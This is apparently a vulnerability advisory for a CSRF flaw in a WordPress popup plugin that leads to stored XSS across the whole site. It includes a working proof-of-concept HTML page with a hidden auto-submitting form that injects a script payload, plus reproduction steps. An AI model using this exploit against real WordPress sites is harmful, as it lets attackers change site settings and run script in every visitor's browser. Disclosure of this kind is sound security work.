WordPress Popup for CF7 with Sweet Alert 1.6.5 Cross Site Request Forgery
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | CVE-2026-65540 | 23 Jul 202611:19 | – | attackerkb |
 | CVE-2026-65540 | 23 Jul 202614:40 | – | circl |
 | CVE-2026-65540 | 23 Jul 202611:19 | – | cve |
 | CVE-2026-65540 WordPress Popup for CF7 with Sweet Alert plugin <= 1.6.5 - Cross Site Request Forgery (CSRF) vulnerability | 23 Jul 202611:19 | – | cvelist |
 | EUVD-2026-48141 | 23 Jul 202611:19 | – | euvd |
 | CVE-2026-65540 | 23 Jul 202612:18 | – | nvd |
 | WordPress Popup for CF7 with Sweet Alert plugin <= 1.6.5 - Cross Site Request Forgery (CSRF) vulnerability | 23 Jul 202609:20 | – | patchstack |
 | PT-2026-63951 | 23 Jul 202600:00 | – | ptsecurity |
 | CVE-2026-65540 WordPress Popup for CF7 with Sweet Alert plugin <= 1.6.5 - Cross Site Request Forgery (CSRF) vulnerability | 23 Jul 202611:19 | – | vulnrichment |
# CVE-2026-65540
Popup for CF7 with Sweet Alert <= 1.6.5 - Cross-Site Request Forgery
## Plugin URL
https://wordpress.org/plugins/cf7-sweet-alert-popup/
## Description
The plugin's settings handler contains a logic error in its nonce verification disabling all CSRF protection.
An unauthenticated attacker can exploit this by tricking an authenticated administrator into visiting a malicious page with a hidden auto-submitting form, arbitrarily modifying the plugin settings.
The submitted values are stored without sanitization and injected verbatim into a <script> block on every frontend page via wp_head, resulting in site-wide stored XSS affecting all visitors.
## POC
1. Host the following HTML page on a separate server:
```
<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>
<iframe name="hiddenframe" style="display:none"></iframe>
<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
method="POST" id="csrf" target="hiddenframe">
<input name="cf7simplePopupWidth" value="500;alert(document.domain)">
<input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
```
2. Log in to WordPress as an administrator
3. Visit the malicious page
4. (Optional) Navigate to http://TARGET/wp-admin/admin.php?page=cf7-simplepopup — confirm the Width field now contains 500;alert(document.domain)
5. Visit any frontend page — alert(document.domain) executes in the browser confirming stored XSSData
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11 Sep 2026 00:00Current
CVSS 3.17.1
EPSS0.00128
SSVC